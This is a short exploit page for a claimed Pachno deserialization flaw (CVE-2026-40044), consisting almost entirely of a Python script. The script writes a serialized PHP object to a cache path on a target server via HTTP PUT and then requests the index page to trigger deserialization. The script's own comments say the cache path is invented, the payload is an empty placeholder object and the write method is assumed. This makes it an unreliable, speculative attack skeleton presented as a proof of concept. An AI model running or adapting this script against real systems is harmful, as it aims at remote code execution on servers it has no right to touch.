CVE-2026-40044 Pachno 反序列化致远程代码执行漏洞

import requests import sys # Usage: python poc.py http://target-url target_url = sys.argv[1] # Predictable cache filename based on vulnerability description # In a real scenario, the exact path would be determined by the framework's cache naming logic cache_file_path = "/cache/predictable_cache_file.cache" full_url = f"{target_url}{cache_file_path}" # Malicious PHP serialized object payload # This is a placeholder. An actual exploit would use a POP chain (e.g., Guzzle, Monolog RCE) # to achieve arbitrary code execution. php_payload = b'O:8:"stdClass":0:{}' # Headers might be needed depending on how the app writes/reads files headers = { "User-Agent": "Vulnerability-Scanner" } try: print(f"[*] Attempting to inject malicious payload into {full_url}") # Attempt to write the payload to the world-writable cache file # Assuming the web server allows PUT or the vulnerability exposes a write vector response = requests.put(full_url, data=php_payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] Payload successfully injected.") print("[*] Triggering deserialization by sending a request to bootstrap the framework...") # Trigger the vulnerability (requesting the index page forces bootstrap/cache load) trigger_resp = requests.get(target_url) print(f"[*] Trigger response status: {trigger_resp.status_code}") print("[+] Exploit attempt finished. Check if code was executed.") else: print(f"[-] Failed to write payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")